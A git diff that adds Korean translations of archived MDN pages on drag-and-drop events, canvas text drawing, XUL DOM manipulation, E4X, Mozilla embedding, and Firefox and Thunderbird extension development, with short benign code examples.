diff --git a/files/ko/drag_and_drop_events/index.html b/files/ko/drag_and_drop_events/index.html new file mode 100644 index 0000000000..9b24f7ec79 --- /dev/null +++ b/files/ko/drag_and_drop_events/index.html @@ -0,0 +1,34 @@ +--- +title: Drag and drop events +slug: Drag_and_drop_events +tags: + - Firefox 3 +translation_of: Archive/Mozilla/Drag_and_drop/Drag_and_drop_events +--- +

{{ Fx_minversion_header(3) }}

+

Firefox 3에서는 언제 드래그 동작이 시작하고 종료하는지를 알 수 있는 새로운 이벤트가 추가되었습니다. 이 이벤트들은 현재 작업중인 HTML 5 명세의 working draft에 새롭게 추가된 사항입니다.

+
+
+ drag
+
+ 드래그 동작이 시작될 때 발생됩니다.
+
+ dragend
+
+ 드래그 동작이 끝날 때 발생됩니다.
+
+

드래그&드롭에 대해 자세한 정보는 Drag and Drop 기사를 참조하세요.

+

드래그&드롭 이벤트에 관한 실제 동작하는 예제는 다음 페이지에서 볼 수 있습니다.

+ +

참조

+ +
+  
+

{{ languages( { "en": "en/Drag_and_drop_events", "es": "es/Eventos_arrastrar_y_soltar", "fr": "fr/\u00c9v\u00e8nements_de_glisser-d\u00e9poser", "pl": "pl/Zdarzenia_przeci\u0105gania_i_upuszczania" } ) }}

diff --git a/files/ko/drawing_text_using_a_canvas/index.html b/files/ko/drawing_text_using_a_canvas/index.html new file mode 100644 index 0000000000..2c789e85a4 --- /dev/null +++ b/files/ko/drawing_text_using_a_canvas/index.html @@ -0,0 +1,164 @@ +--- +title: 텍스트 그리기 +slug: Drawing_text_using_a_canvas +tags: + - HTML + - 'HTML:Canvas' + - NeedsContent +translation_of: Web/API/Canvas_API/Tutorial/Drawing_text +--- +
{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Applying_styles_and_colors", "Web/API/Canvas_API/Tutorial/Using_images")}}
+ +
+

이전 챕터에서 스타일과 컬러를 적용하는 방법에 대해서 보았고 이번에는 캔버스에 텍스트를 그리는 방법에 대해서 볼 예정입니다.

+
+ +

텍스트 그리기

+ +

캔버스 렌더링 컨텍스트(canvas rendering context)는 텍스트를 렌더링하는 두 가지 방법을 제공합니다.

+ +
+
{{domxref("CanvasRenderingContext2D.fillText", "fillText(text, x, y [, maxWidth])")}}
+
주어진 (x, y) 위치에 주어진 텍스트를 채웁니다. 최대 폭(width)은 옵션 값 입니다.
+
{{domxref("CanvasRenderingContext2D.strokeText", "strokeText(text, x, y [, maxWidth])")}}
+
주어진 (x, y) 위치에 주어진 텍스트를 칠(stroke)합니다. 최대 폭(width)은 옵션 값 입니다.
+
+ +

fillText 예제

+ +

텍스트는 현재의 fillStyle을 사용하여 채워집니다.

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  ctx.font = '48px serif';
+  ctx.fillText('Hello world', 10, 50);
+}
+ + + +

{{EmbedLiveSample("A_fillText_example", 310, 110)}}

+ +

strokeText 예제

+ +

텍스트는 현재의 strokeStyle을 이용하여 채워집니다.

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  ctx.font = '48px serif';
+  ctx.strokeText('Hello world', 10, 50);
+}
+ + + +

{{EmbedLiveSample("A_strokeText_example", 310, 110)}}

+ +

텍스트 스타일 적용하기

+ +

 위의 예제에서 우리는 이미 텍스트를 기본 사이즈를 키우기 위하여 font 프로퍼티를 사용하였습니다. 그리고 캔버스에 표시되는 텍스트를 조정할 수 있는 속성이 더 있습니다. 

+ +
+
{{domxref("CanvasRenderingContext2D.font", "font = value")}}
+
텍스트를 그릴 때 사용되는 현재 텍스트 스타일. 이 문자열은 CSS {{cssxref("font")}} 프로퍼티와 동일한구문을 사용합니다. 기본값으로 sans-serif의 10px가 설정되어 있습니다.
+
{{domxref("CanvasRenderingContext2D.textAlign", "textAlign = value")}}
+
텍스트 정렬 설정. 사용가능한 값: start, end, left, rightcenter. 기본 값은 start 입니다.
+
{{domxref("CanvasRenderingContext2D.textBaseline", "textBaseline = value")}}
+
베이스라인 정렬 설정. 사용가능한 값: top, hanging, middle, alphabetic, ideographic, bottom. 기본 값은 alphabetic 입니다
+
{{domxref("CanvasRenderingContext2D.direction", "direction = value")}}
+
글자 방향. 사용가능한 값: ltr, rtl, inherit. 기본 값은 inherit 입니다.
+
+ +

만약 CSS를 다뤄보신적이 있다면 이러한 프로퍼티들은 익숙하실겁니다.

+ +

다음에 나오는  WHATWG 예제 다이어그램은 textBaseline를 이용하여 다양한 베이스라인 설정을 보여줍니다.The top of the em square is
+roughly at the top of the glyphs in a font, the hanging baseline is
+where some glyphs like आ are anchored, the middle is half-way
+between the top of the em square and the bottom of the em square,
+the alphabetic baseline is where characters like Á, ÿ,
+f, and Ω are anchored, the ideographic baseline is
+where glyphs like 私 and 達 are anchored, and the bottom
+of the em square is roughly at the bottom of the glyphs in a
+font. The top and bottom of the bounding box can be far from these
+baselines, due to glyphs extending far outside the em square.

+ +

textBaseline 예제

+ +

아래의 코드를 수정하여 캔버스에서 어떻게 바뀌는지 실시간으로 확인해 보세요.

+ +
ctx.font = '48px serif';
+ctx.textBaseline = 'hanging';
+ctx.strokeText('Hello world', 0, 100);
+
+ + + +

{{ EmbedLiveSample('Playable_code', 700, 360) }}

+ +

어드밴스드 텍스트 측정

+ +

만약 텍스트에대해 조금 더 디테일한 것들을 얻고 싶다면 다음의 메소드를 이용해보세요.

+ +
+
{{domxref("CanvasRenderingContext2D.measureText", "measureText()")}}
+
현재 스타일로 특정 텍스트가 그려질 때의 폭, 픽셀 등을 포함하는 {{domxref("TextMetrics")}} 객체 리턴. 
+
+ +

다음의 코드는 어떻게 텍스트를 측정하는 지, 그리고 폭을 구하는 예제입니다.

+ +
function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  var text = ctx.measureText('foo'); // TextMetrics object
+  text.width; // 16;
+}
+
+ +

Gecko 사용시 주의점

+ +

Gecko(Firefox, Firefox OS외 Mozilla 기반의 에플리케이션 렌더링 엔진)에서는 캔버스에 텍스트를 그리기 위한 몇몇의 prefixed APIs가 구현되어 있습니다. 그리고 지금은 사용되지 않아 제거되었거나 작동을 보장하지 않는 것들도 있습니다. 

+ +

{{PreviousNext("Web/API/Canvas_API/Tutorial/Applying_styles_and_colors", "Web/API/Canvas_API/Tutorial/Using_images")}}

diff --git a/files/ko/dynamically_modifying_xul-based_user_interface/index.html b/files/ko/dynamically_modifying_xul-based_user_interface/index.html new file mode 100644 index 0000000000..bbb163277a --- /dev/null +++ b/files/ko/dynamically_modifying_xul-based_user_interface/index.html @@ -0,0 +1,82 @@ +--- +title: Dynamically modifying XUL-based user interface +slug: Dynamically_modifying_XUL-based_user_interface +tags: + - Add-ons + - DOM + - Extensions + - XUL +translation_of: Archive/Mozilla/XUL/Dynamically_modifying_XUL-based_user_interface +--- +

이 기사(article)는 DOM과 다른 API를 써서 XUL 인터페이스 다루기를 논합니다. 기사는 DOM + + 문서(document) + 개념을 설명하고, 기본 문서 조작을 수행하는 DOM 호출을 쓰는 단순 예제 상당수에다 Mozilla 고유 메소드를 써서 + + 익명 XBL content + 를 다루는 작업을 실제로 보입니다.

+

내용은 중급 XUL 개발자가 되려는 초보자를 대상으로 합니다. 우리는 읽는 이가 XUL과 JavaScript 기본 지식이 있다고 가정합니다. 여러분은 또한 About the Document Object Model 기사나 Gecko DOM Reference개요 page 같은 DOM을 다루는 입문 문서 일부를 읽어도 좋습니다.

+

머리말

+

아시다시피, XUL은 Firefox와 Thunderbird 같은 여러 가지 Mozilla 기반 응용프로그램에서 사용자 인터페이스를 기술하기 위해 쓰는 XML 언어입니다. XUL 응용프로그램에서 JavaScript는 XUL 문서에 접근하기 위해 DOM API를 쓰는 behavior를 정의합니다.

+

그러면 Document Object Model API는 뭘까요?

+

DOM API는 스크립트와 문서의 모든 상호 작용에 쓰이는 인터페이스입니다. 혹시 XUL(이나 HTML) 문서와 상호 작용하는 스크립트를 작성해 본 적이 있다면, 여러분은 이미 DOM 호출을 썼습니다. 가장 잘 알려진 DOM 메소드는 아마도 요소의 id를 주면 요소를 반환하는 document.getElementById()입니다. 여러분은 또한 element.setAttribute()나 혹시 확장 기능을 작성했다면 addEventListener() 메소드 같은 다른 호출도 써 봤을지도 모릅니다. 이들 모두는 DOM에서 정의합니다.

+

또한 문서에서 요소를 만들고, 옮기고, 지우는 메소드도 있습니다. 메소드는 뒷 부분에서 실제로 보입니다. 지금 바로, + + 문서 + 가 뭔지 배워 봅시다.

+

문서란 무엇인가?

+

문서는 DOM API에 의해 다뤄지는 자료 구조(data structure)입니다. 모든 문서의 논리 구조는 요소(element), 속성(attribute), 처리 명령(processing instruction), 주석(comment) 등인 노드가 있는 트리(tree)입니다. 어떤 문서의 트리 표현을 보려면 DOM Inspector 도구를 쓰세요. Todo: simple example of a XUL document and a tree

+

여러분은 문서를 XHTML이나 XUL같은 유효한(valid) HTML이나 적격(well-formed) XML(XUL 포함)의 메모리 내(in-memory) 표현으로 생각할 수 있습니다.

+

다른 웹 페이지(와 심지어 같은 웹 페이지의 다른 instance)는 다른 문서와 대응함을 기억하는 게 중요합니다. 각 XUL 창은 자체(its own) distinct 문서가 있고 <iframe>, <browser>, <tabbrowser> 요소일 때 심지어 단일 창에 꽤 많은 다른 문서일지도 모릅니다. 여러분은 항상 반드시 바른 문서를 다뤄야 합니다. (이에 대해서는 Working with windows in chrome code를 더 읽어 보세요.) 여러분의 스크립트가 <script> 태그를 써서 포함될 때, document 프로퍼티는 그 스크립트를 포함하는 DOM 문서를 참조합니다.

+

예제: DOM 메소드 쓰기

+

이 절은 appendChild(), createElement(), insertBefore(), removeChild() DOM 메소드 사용을 실제로 보입니다.

+

요소의 자식 노드 모두 없애기

+

이 예제는 어떤 자식도 남지 않을 때까지 첫째 자식을 없애기 위해 removeChild() 메소드를 호출하여 현재 문서에서 id가 "someElement"인 요소의 모든 자식을 없앱니다.

+

hasChildNodes()firstChild 또한 DOM API의 부분임을 유의하세요.

+
var element = document.getElementById("someElement");
+  while(element.hasChildNodes()) {
+    element.removeChild(element.firstChild);
+  }
+
+

메뉴에 메뉴 항목 삽입하기

+

이 예제는 <menupopup>의 시작과 끝에 새 메뉴 항목 둘을 추가합니다. 항목을 만들기 위해 document.createElementNS() 메소드와 문서 내에 만든 XML 요소를 삽입하기 위해 appendChild()와 함께 insertBefore()를 씁니다.

+

주의:

+ +
function createMenuItem(aLabel) {
+  const XUL_NS = "http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul";
+  var item = document.createElementNS(XUL_NS, "menuitem"); // create a new XUL menuitem
+  item.setAttribute("label", aLabel);
+  return item;
+}
+var popup = document.getElementById("myPopup"); // a <menupopup> element
+var first = createMenuItem("First item");
+var last = createMenuItem("Last item");
+popup.insertBefore(first, popup.firstChild);
+popup.appendChild(last);
+
+

여러분은 또한 기존 요소를 옮기기 위해 appendChild()insertBefore()를 쓸 수 있습니다. 예를 들어 여러분은 위 코드 조각(snippet) 마지막 줄에 아래 문장(statement)을 더해 팝업 끝에 "First item"으로 부르는 항목을 옮길 수 있습니다.

+
popup.appendChild(first);
+
+

이 문장은 문서의 현재 위치에서 노드를 없애고 팝업 끝에 노드를 다시 삽입합니다.

+

익명 content (XBL)

+

XBL은 새 위젯을 정의하기 위해 Mozilla에서 쓰는 언어입니다. XBL에서 정의한 위젯은 바인딩(binding)이 붙을 때 bound 요소에 삽입되는 어떤 content를 정의하기 위해 고릅니다. + + 익명 content + 로 부르는 이 content는 보통 DOM 메소드를 통해 접근할 수 없습니다.

+

여러분은 대신 nsIDOMDocumentXBL 인터페이스의 메소드를 사용이 필요합니다. 예를 들면,

+
// 제공한 노드의 첫째 익명 자식을 얻고
+document.getAnonymousNodes(node)[0];
+
+// anonid 속성과 el1이 같은 익명 요소의 NodeList를 반환합니다
+document.getAnonymousElementByAttribute(node, "anonid", "el1");
+
+

더 많은 정보는 XBL reference에서 getAnonymousNodesgetAnonymousElementByAttribute를 보세요.

+

일단 여러분에게 익명 노드가 있으면, 여러분은 그 바인딩의 나머지 노드를 항해하고 다루기 위해 정규 DOM 메소드를 쓸 수 있습니다.

+

같이 보기

+ diff --git a/files/ko/e4x/index.html b/files/ko/e4x/index.html new file mode 100644 index 0000000000..f1f5fb8157 --- /dev/null +++ b/files/ko/e4x/index.html @@ -0,0 +1,28 @@ +--- +title: E4X +slug: E4X +tags: + - E4X + - JavaScript +translation_of: Archive/Web/E4X +--- +

ECMAScript for XML (E4X)는 JavaScript에 native XML 지원을 더하는 프로그래밍 언어 확장기능입니다. E4X는 ECMAScript 프로그래머에게 자연스러운 형식으로 XML 문서 접근 방법을 제공하여 이를 수행합니다. 목표는 DOM 인터페이스를 통하기보다는 XML 문서에 접근하기 더 간단한 대체 구문 제공입니다. +

E4X는 Ecma International에서 ECMA-357 표준 (현재는 2005년 12월자 두번째 판)으로 지정했습니다. +

E4X는 SpiderMonkey (Gecko의 JavaScript 엔진)와 Rhino에서 (적어도 부분은) 구현되었습니다. +

주의: Firefox 1.5 같은 Gecko 1.8에 기반을 둔 브라우저에서는, E4X는 벌써 일부분 웹 페이지 제작자가 이용할 수 있습니다. E4X를 완전히 이용하기 위해서는, <script> 요소의 MIME 타입이 "text/javascript;e4x=1" (즉, type="text/javascript;e4x=1" 형식의 속성)일 필요가 있습니다. 두 모드 사이의 차이는 "e4x=1" MIME 타입이 없으면, 어떤 문 수준(statement-level) XML/HTML 주석 상수(literal) (<!--...-->)든지 주석 감춤 트릭으로 하위 호환성을 위해 무시되고 CDATA 절 (<![CDATA{{ mediawiki.external('...') }}]>)도 (HTML의 <script> 요소가 암시(implicit) CDATA 절을 만들어내기 때문에 HTML에서 JS 구문 에러를 이끌고 그 결과 명시(explicit) CDATA 절을 포함할 수 없어) CDATA 상수로 구문해석되지 않습니다. +누구든지 위 내용을 확인해 주세요 +

+

알려진 버그와 제한

+ +

Resources

+ +
+
+{{ languages( { "es": "es/E4X", "fr": "fr/E4X", "it": "it/E4X", "ja": "ja/E4X", "ko": "ko/E4X", "pl": "pl/E4X" } ) }} diff --git a/files/ko/embedding_mozilla/index.html b/files/ko/embedding_mozilla/index.html new file mode 100644 index 0000000000..3ed5fc852e --- /dev/null +++ b/files/ko/embedding_mozilla/index.html @@ -0,0 +1,57 @@ +--- +title: Embedding Mozilla +slug: Embedding_Mozilla +tags: + - Embedding Mozilla +translation_of: Mozilla/Gecko/Embedding_Mozilla +--- +
+

Gecko는 third party 개발자가 Mozilla에 기초를 둔 같은 기술을 사용하는 것을 허용한다. 이것은 당신이 third-party 응용프로그램 안에 웹 브라우저를 embed 하여, 네트워크 backend를 통해 channel과 stream을 열고, DOM을 통과하는 것 등을 할 수 있다는 것을 뜻한다. chrome을 써서 전체 새 응용프로그램을 만들 수도 있다.

+
+ + + + + + + +
+

Documentation

+
+
+ Mozilla Embedding FAQ
+
+ Mozilla embedding에 대해 자주 묻는 것 모음.
+
+
+
+ Gecko 임베딩 기초
+
+ Gecko rendering engine 임베드 하기 소개.
+
+
+
+ 에디터 임베딩
+
+ 이 글은 editor embed 가능성의 현재 상태, 현존하는 구현의 문제, 우리가 다룰 필요가 있는 몇 가능한 embedding 시나리오, 그것을 채울 임베딩 솔루션을 설명한다.
+
+
+
+ Roll your own browser - An embedding HowTo
+
+ Mozilla 임베딩 빠른 소개.
+
+

View All...

+
+

커뮤니티

+
    +
  • View Mozilla forums...
  • +
+

{{ DiscussionList("dev-embedding", "mozilla.dev.embedding") }}

+

관련 주제

+
+
+ Gecko, XPCOM
+
+
+

 

diff --git a/files/ko/embedding_the_editor/index.html b/files/ko/embedding_the_editor/index.html new file mode 100644 index 0000000000..291a428289 --- /dev/null +++ b/files/ko/embedding_the_editor/index.html @@ -0,0 +1,26 @@ +--- +title: Embedding the Editor +slug: Embedding_the_Editor +tags: + - Embedding Mozilla + - Midas +translation_of: Mozilla/Gecko/Embedding_Mozilla/Embedding_the_editor +--- +

소개

+

이 문서는 편집기 임베딩시키는 것에 관련한 현황과 현재 구현의 문제점, 다루어 볼 만한 몇가지 임베딩 방법, 이를 위한 임베딩 솔루션에 대해 설명한다. 마지막으로는 최종 솔루션을 적용하는 과정을 밟아본다.

+

애플리케이션 임베딩

+

에디터를 위해 다룰 몇몇 임베딩 시나리오가 여기 있다. 우선 주의할 것이있다. 나는 '컴포저'(Composer)라는 용어를 리치 텍스트 편집을 수행하는 HTML-savvy 컴포즈 위젯에 대해 사용하며, '에디터'(Editor)라는 용어는 일반 텍스트 에디터(컴포저의 기반 기술이기도 하다)를 의미하는데 사용한다. <htmlarea>는 HTML 문서에 내장된 리치 텍스트 멀티라인 텍스트 위젯을 위한 약어로 사용된다. 모질라의 향후 버전에서 자신만의 태그를 지원하겠다는 암시를 의미하지는 않는다.

+

컴포저 내장 XUL 애플리케이션

+

오늘날 개발자들은 <editor> 테그를 사용함으로써, 컴포져 위젯을 그들의 XUL 어플리케이션에 내장할 수 있습니다. 그리고 그들은 기본적인 편집 기능이나, 하나의 윈도우에 몇개의 <editor>를 추가하거나, 혹은 각각의 <editor>의 모드(HTML모드인지 보통Text 모드인지)를 제어함에 있어 최소한의 작업만을 필요로 하길 바랍니다.

+


+ ((이후는 작업중))

+

 

+
+

Original Document Information

+ +
+

 

diff --git a/files/ko/extensions/community/index.html b/files/ko/extensions/community/index.html new file mode 100644 index 0000000000..5bc8462066 --- /dev/null +++ b/files/ko/extensions/community/index.html @@ -0,0 +1,18 @@ +--- +title: Community +slug: Extensions/Community +tags: + - Add-ons + - Extensions +translation_of: Extensions/Community +--- +

혹시 확장기능 개발과 관련하여 쓸모 있는 mailing list, newsgroup, 포럼이나 다른 커뮤니티를 아시면, 여기에 링크해 주세요.

+ +

{{ languages( { "en": "en/Extensions/Community", "fr": "fr/Extensions/Communaut\u00e9" } ) }}

diff --git a/files/ko/extensions/index.html b/files/ko/extensions/index.html new file mode 100644 index 0000000000..5c095c6e0b --- /dev/null +++ b/files/ko/extensions/index.html @@ -0,0 +1,72 @@ +--- +title: 확장기능 +slug: Extensions +tags: + - Add-ons + - Extensions +translation_of: Mozilla/Add-ons +--- +

+
+

확장기능 만들기
+단계별로 어떻게 Firefox용 확장기능을 만드는지 설명합니다. +

+
+
+

확장기능(Extensions)은 Firefox와 Thunderbird 같은 Mozilla 응용프로그램에 새로운 기능을 추가하는 작은 부가 기능입니다. 도구 표시줄 버튼부터 완전히 새로운 기능까지 무엇이든 추가할 수 있습니다. 확장기능은 응용프로그램 자체의 용량을 줄이고 개별 사용자가 부가 기능이 필요하면 응용프로그램을 수정하거나 개선할 수 있게 합니다. +

+
+ + + + +
+

문서

+
확장기능에 관해 자주 하는 질문 +
확장기능 개발에 관한 일반 문답. +
+
확장기능 개발 환경 구축 +
확장기능 개발 환경 구축을 쉽게 하기 위한 몇 가지 도움말. +
+
확장기능 패키징 +
내려받기와 설치를 위해 Firefox 확장기능 꾸리는 법. +
+
Mozilla 빌드 시스템으로 사용자 정의 Firefox 확장기능 만들기 +
바이너리 컴포넌트를 사용 확장기능 빌드 환경 구축하는 법. +
+
Firefox 3에 맞춰 확장 기능 고치기 +
확장 기능에 영향을 줄 수 있는 Firefox 3의 변경 사항들과 관련 문서에 대한 링크들. +
+
Code snippets +
많은 확장기능이 보통 쓰는 코드. 더 많은 예제는 Category:Extensions의 문서를 같이 보세요. +
+

View All... +

+
+

커뮤니티

+
  • Mozilla 포럼 보기... +
+

{{ DiscussionList("dev-extensions", "mozilla.dev.extensions") }} +

+ +

개발 도구

+ +

View All... +

+

관련 주제

+
XUL, JavaScript, XPCOM, Themes, Developing Mozilla +
+
+

Categories +

Interwiki Language Links +


+

{{ languages( { "en": "en/Extensions", "es": "es/Extensiones", "fr": "fr/Extensions", "it": "it/Estensioni", "ja": "ja/Extensions", "pl": "pl/Rozszerzenia", "pt": "pt/Extens\u00f5es" } ) }} diff --git a/files/ko/extensions/thunderbird/building_a_thunderbird_extension_4_colon__chrome_manifest/index.html b/files/ko/extensions/thunderbird/building_a_thunderbird_extension_4_colon__chrome_manifest/index.html new file mode 100644 index 0000000000..37184fd45b --- /dev/null +++ b/files/ko/extensions/thunderbird/building_a_thunderbird_extension_4_colon__chrome_manifest/index.html @@ -0,0 +1,28 @@ +--- +title: 'Building a Thunderbird extension 4: chrome manifest' +slug: 'Extensions/Thunderbird/Building_a_Thunderbird_extension_4:_chrome_manifest' +translation_of: >- + Mozilla/Thunderbird/Thunderbird_extensions/Building_a_Thunderbird_extension_4:_chrome_manifest +--- +

The file called chrome.manifest tells Thunderbird what packages and overlays are provided by the extension. Open the file called chrome.manifest that you created and add this code:

+
content     myfirstext    chrome/content/
+
+ +

So, this line says that for a chrome package myfirstext, we can find its content files in the directory chrome/content/ (which is a path relative to the location of chrome.manifest).

+

To change the Thunderbird user interface to support the extension, you create an overlay and then merge it with the default Thunderbird interface. Later in the tutorial we will create a XUL overlay file that will merge with the default messenger.xul file. At this point we are going to specify in chrome.manifest the existence of the overlay (which we will create later).

+

Add this line at the end of chrome.manifest:

+
+
overlay chrome://messenger/content/messenger.xul chrome://myfirstext/content/myhelloworld.xul
+
+ This tells Thunderbird to merge myhelloworld.xul into messenger.xul when messenger.xul loads. For more information on chrome manifests and the properties they support, see the Chrome Manifest Reference. +

 

+

If you used the Add-On Builder as described in the previous step, open the chrome.manifest file that was in the archive package in a text editor. You will see the content line at the top of the file. Add the overlay line at the bottom of the file. It doesn't matter if there are other overlay lines in the file.

+
+
+ It can be useful to install an add-on such as the DOM Inspector to better understand the layout of existing XUL files and to debug your own overlays.
+

{{ Previous("Extensions/Thunderbird/Building_a_Thunderbird_extension_3:_install_manifest") }}

+

{{ Next("Extensions/Thunderbird/Building_a_Thunderbird_extension_5:_XUL") }}

diff --git a/files/ko/extensions/thunderbird/index.html b/files/ko/extensions/thunderbird/index.html new file mode 100644 index 0000000000..8c10f366f3 --- /dev/null +++ b/files/ko/extensions/thunderbird/index.html @@ -0,0 +1,112 @@ +--- +title: Thunderbird extensions +slug: Extensions/Thunderbird +tags: + - Add-ons + - Extensions + - NeedsTranslation + - TopicStub + - thunderbird +translation_of: Mozilla/Thunderbird/Thunderbird_extensions +--- +
+ Building a Thunderbird extension
+ Step-by-step explanation on how to build an extension for Thunderbird.
+
+ The following documentation provides help for creating extensions for Mozilla's Thunderbird email client. Although there are many similarities with Firefox extensions there are also some differences that may confound the starting developer.
+
+
+ Please help! You can add a how-to (a question or an answer or a code snippet), summarize and link to a relevant newsgroup discussion, or create a tutorial. Need help? Contact jenzed.
+ + + + + + + +
+

Documentation

+

Getting started with Thunderbird

+

A brave, young developer wants to develop an addon for Thunderbird. Here's a few links to help them through this journey.

+
    +
  • Start by reading the tutorial and learn how to build a Thunderbird extension (Outdated, still talks about overlays and the ad-on builder has changed but the tutorial has not been updated.)
  • +
  • Read about the main windows so that you know what one means when they say « thread pane », « preview pane », and « folder pane ».
  • +
  • Read an overview of how the various parts of Thunderbird fit together, this really helps get a better understanding of Thunderbird.
  • +
  • Want to do some real stuff? See how to inspect a message (demo addon included!)
  • +
  • Play with our other demo addon that exercises some more advanced Thunderbird-specific features
  • +
  • Want to do even more stuff? Don't reinvent the wheel: steal functions from the thunderbird-stdlib project (doc here). Functions for dealing with messages (delete them, archive them, change their tags, etc.) are included.
  • +
  • Haven't found what you're looking for? Read the Thunderbird how-tos; they contain a lot of recipes for things extensions want to do.
  • +
  • Still haven't managed to do what you wanted? See the list of all Thunderbird communication channels so that you know where to ask when you get stuck :-).
  • +
  • Feeling really brave? Read the source using a fancy interface; you can often find tests that demonstrate how to do what you're trying to achieve.
  • +
+

The Gloda database

+

Thunderbird has a subsystem called Gloda. Gloda stands for « Global Database », and creates Thunderbird-wide relations between objects. Gloda provides concepts such as Conversations, Messages, Identities, Contacts. All these concepts are related together: a Conversation contains Messages which are linked to Identities (from field, to field) which are themselves part of a Contact: indeed, a contact has multiple identities.

+

Typical use cases for Gloda: find all messages whose subject matches [search term], find all messages from [person], find all messages in the same thread as [a given message], find all messages involving [person], etc. etc.

+

Gloda is extremely powerful and is used heavily by addons such as Thunderbird Conversations. Learn more about Gloda:

+ + +

Some of these links may be wildly out of date, but they still provide valuable information on the codebase.

+ + + +
+

Community

+ +

{{ DiscussionList("dev-extensions", "mozilla.dev.extensions") }}

+ +

Tools

+ +

... more tools ...

+

View All...

+ +
+
+ XUL, JavaScript, XPCOM, Themes, Developing Mozilla
+
+
+

Categories

+

{{ languages( { "ja": "ja/Extensions/Thunderbird" } ) }}

diff --git a/files/ko/firefox_1.5_for_developers/index.html b/files/ko/firefox_1.5_for_developers/index.html new file mode 100644 index 0000000000..fa1dba1cc6 --- /dev/null +++ b/files/ko/firefox_1.5_for_developers/index.html @@ -0,0 +1,150 @@ +--- +title: Firefox 1.5 for developers +slug: Firefox_1.5_for_developers +tags: + - Add-ons + - CSS + - DOM + - Extensions + - HTML + - JavaScript + - RDF + - SVG + - Web Development + - Web Standards + - XML + - XML Web Services + - XSLT + - XUL +translation_of: Mozilla/Firefox/Releases/1.5 +--- +

Firefox 1.5

+

Firefox 1.5를 출시하여 내려 받기할 수 있습니다. Gecko 1.8 엔진에 기반을 둔 이 최신 버전은 이미 최고인 클래스 표준 지원 개선과 다음 세대 웹 어플리케이션에서 가능한 새 기능을 제공합니다. Firefox 1.5는 CSS2와 CSS3 지원 개선, 많은 DHTML, JavaScript, DOM 향상은 물론 SVG 1.1과 <canvas>, XForms, XML 이벤트를 통한 스크립팅과 프로그래밍이 가능한 2D 그래픽스 API를 크게 다룹니다.

+

Firefox 1.5http://www.mozilla.com/firefox/ 에서 내려받을 수 있습니다.

+

개발자 도구

+

개발자를 도울 수 있는 여러 도구와 브라우저 확장기능들이 Firefox 1.5를 지원합니다.

+ +

주의: 확장기능 약간은 현재 Firefox 1.5를 지원하지 않아 자동으로 사용불가능합니다.

+

개요

+

Firefox 1.5의 새 기능:

+

웹 사이트 개발자와 어플리케이션 개발자

+
+
+ SVG In XHTML Introduction
+
+ XHTML 페이지에서 SVG를 쓰는 법과 정규 XHTML을 스크립트하는 방식과 같은 방식으로 그림을 조작하는데 JavaScript과 CSS를 쓰는 법을 배웁니다. 또한 Firefox의 SVG 구현 상태와 알려진 문제 정보를 알아보려면 SVG in Firefox를 보세요.
+
+
+
+ Drawing Graphics with Canvas
+
+ 새로운 <canvas> 태그 정보와 Firefox에서 그래프와 다른 개체 그리는 법을 알아봅니다.
+
+
+
+ CSS3 Columns
+
+ CSS3에 새로 제안한 자동 다단 텍스트 layout 지원 정보를 알아봅니다.
+
+
+
+ Using Firefox 1.5 caching
+
+ bfcache 정보와 뒤로 가기와 앞으로 가기 항해 속도를 높이는 법을 알아봅니다.
+
+

XUL 개발자와 확장기능 개발자

+
+
+ Building an Extension
+
+ 이 입문서는 당신이 Firefox에 가장 기본이 될만한 확장기능을 만드는데 필요한 과정을 통과하도록 합니다. 또한 새 확장기능을 만들기를 훨씬 더 쉽게 하는 1.5의 확장기능 관리자의 새로운 기능을 실제로 보이는 another tutorial on MozillaZine knowledge base를 보세요.
+
+
+
+ XPCNativeWrapper
+
+ XPCNativeWrappersafe to access from privileged code하도록 개체를 싸는(wrap up) 방법입니다. Firefox 1.5 (Gecko 1.8)에서 시작하여 약간 바뀐 behavior를 통해 모든 Firefox 버전에서 쓸 수 있습니다.
+
+
+
+ Preferences System
+
+ 더 적은 JavaScript 코드를 써서 더 쉽게 선택사항 창을 만들게 하는 새 위젯을 알아봅니다.
+
+
+
+ International characters in XUL JavaScript
+
+ XUL JavaScript 파일은 이제 ASCII 아닌 문자도 포함할 수 있습니다.
+
+
+
+ Tree API changes
+
+ XUL <tree> 요소에 접근하기 위한 인터페이스가 바뀌었습니다.
+
+
+
+ XUL Changes for Firefox 1.5
+
+ XUL 바뀐 점 요약. 또한 Adapting XUL Applications for Firefox 1.5를 보세요.
+
+
+
+ 네트워킹 관련 바뀐 점
+
+ +

새 최종 사용자 기능

+

사용자 Experience

+ +

보안과 사생활

+ +

열린 웹 표준 지원

+

Firefox는 시종일관 크로스 플랫폼을 구현하도록 기업을 계속 이끄는 웹 표준을 지원합니다.

+ +

Firefox 1.5는 다음 데이터 전송 프로토콜(HTTP, FTP, SSL, TLS, 그리고 나머지)과 여러 언어 문자 데이터(Unicode), 그래픽스(GIF, JPEG, PNG, SVG, 그리고 나머지), 가장 유명한 스크립팅 언어의 최근 버전인 JavaScript 1.6을 지원합니다.

+

Firefox 1.0부터 바뀐 점

+

2004년 11월 9일 처음 출시된 뒤로 Firefox에 바뀐 점이 많습니다. Firefox는 많은 새로운 기능 보탬과 버그 고침과 함께 향상됐습니다. Deer Park(Firefox 1.5의 코드명)와 Firefox 출시 노트는 Firefox 각 출시본의 바뀐 점에 관한 훌륭한 정보원입니다.

+ +

{{ languages( { "en": "en/Firefox_1.5_for_developers", "es": "es/Firefox_1.5_para_Desarrolladores", "fr": "fr/Firefox_1.5_pour_les_d\u00e9veloppeurs", "it": "it/Firefox_1.5_per_Sviluppatori", "ja": "ja/Firefox_1.5_for_developers", "nl": "nl/Firefox_1.5_voor_ontwikkelaars", "pl": "pl/Firefox_1.5_dla_programist\u00f3w", "pt": "pt/Firefox_1.5_para_Desenvolvedores" } ) }}

diff --git a/files/ko/firefox_2_for_developers/index.html b/files/ko/firefox_2_for_developers/index.html new file mode 100644 index 0000000000..e39f256625 --- /dev/null +++ b/files/ko/firefox_2_for_developers/index.html @@ -0,0 +1,85 @@ +--- +title: Firefox 2 for developers +slug: Firefox_2_for_developers +translation_of: Mozilla/Firefox/Releases/2 +--- +

Firefox 2 새로운 기능

+

Firefox 2는 다양하고 새로운 기능들을 소개하고 있습니다. 이 문서는 이러한 새로운 기능들을 소개하고 자세한 정보를 제공하고 있습니다. +

+

